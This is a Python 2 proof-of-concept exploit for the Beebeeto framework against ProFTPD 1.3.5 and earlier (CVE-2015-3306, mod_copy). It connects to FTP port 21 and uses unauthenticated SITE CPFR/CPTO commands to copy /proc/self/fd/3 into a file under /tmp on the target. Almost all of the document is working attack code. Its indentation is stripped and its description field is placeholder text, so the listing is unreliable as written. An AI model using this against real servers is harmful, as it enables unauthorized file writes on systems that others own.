poc如下：
#!/usr/bin/env python
# coding=utf-8
"""
Site: http://www.beebeeto.com/
Framework: https://github.com/n0tr00t/Beebeeto-framework
"""
import random
import telnetlib
from baseframe import BaseFrame
from utils.http import http
class MyPoc(BaseFrame):
poc_info = {
# poc相关信息
'poc': {
'id': 'poc-2015-0088',
'name': 'ProFTPD <=1.3.5 mod_copy 未授权文件复制漏洞(CVE-2015-3306) POC',
'author': 'evi1m0',
'create_date': '2015-04-20',
},
# 协议相关信息
'protocol': {
'name': 'ftp',
'port': [21],
'layer4_protocol': ['tcp'],
},
# 漏洞相关信息
'vul': {
'app_name': 'ProFTPD',
'vul_version': ['<=1.3.5'],
'type': 'Other',
'tag': ['ProFTPD漏洞', 'mod_copy漏洞', 'CVE-2015-3306'],
'desc': '''
This candidate has been reserved by an organization or individual that will use it when announcing
a new security problem. When the candidate has been publicized, the details for this candidate will be
provided.
''',
'references': ['http://bugs.proftpd.org/show_bug.cgi?id=4169',
],
},
}
@classmethod
def verify(cls, args):
ip = http.transform_target_ip(http.normalize_url(args['options']['target']))
if args['options']['verbose']:
print '[*] {} Connecting...'.format(ip)
tn = telnetlib.Telnet(ip, port=21, timeout=15)
tn.write('site help\r\n')
tn.write('quit\n')
status = tn.read_all()
if 'CPTO' in status and 'CPFR' in status:
if args['options']['verbose']:
print '[*] Find CPTO & CPFR'
tn = telnetlib.Telnet(ip, port=21, timeout=15)
filename_tmp = '/tmp/evi1m0_%s.sh'%random.randint(1, 1000)
tn.write('site cpto evi1m0@beebeeto\n')
tn.write('site cpfr /proc/self/fd/3\n')
tn.write('site cpto %s\n'%filename_tmp)
tn.write('quit\n')
result = tn.read_all()
if 'Copy successful' in result:
args['success'] = True
args['poc_ret']['vul_target'] = ip
args['poc_ret']['filename'] = filename_tmp
return args
exploit = verify
if __name__ == '__main__':
from pprint import pprint
mp = MyPoc()
pprint(mp.run())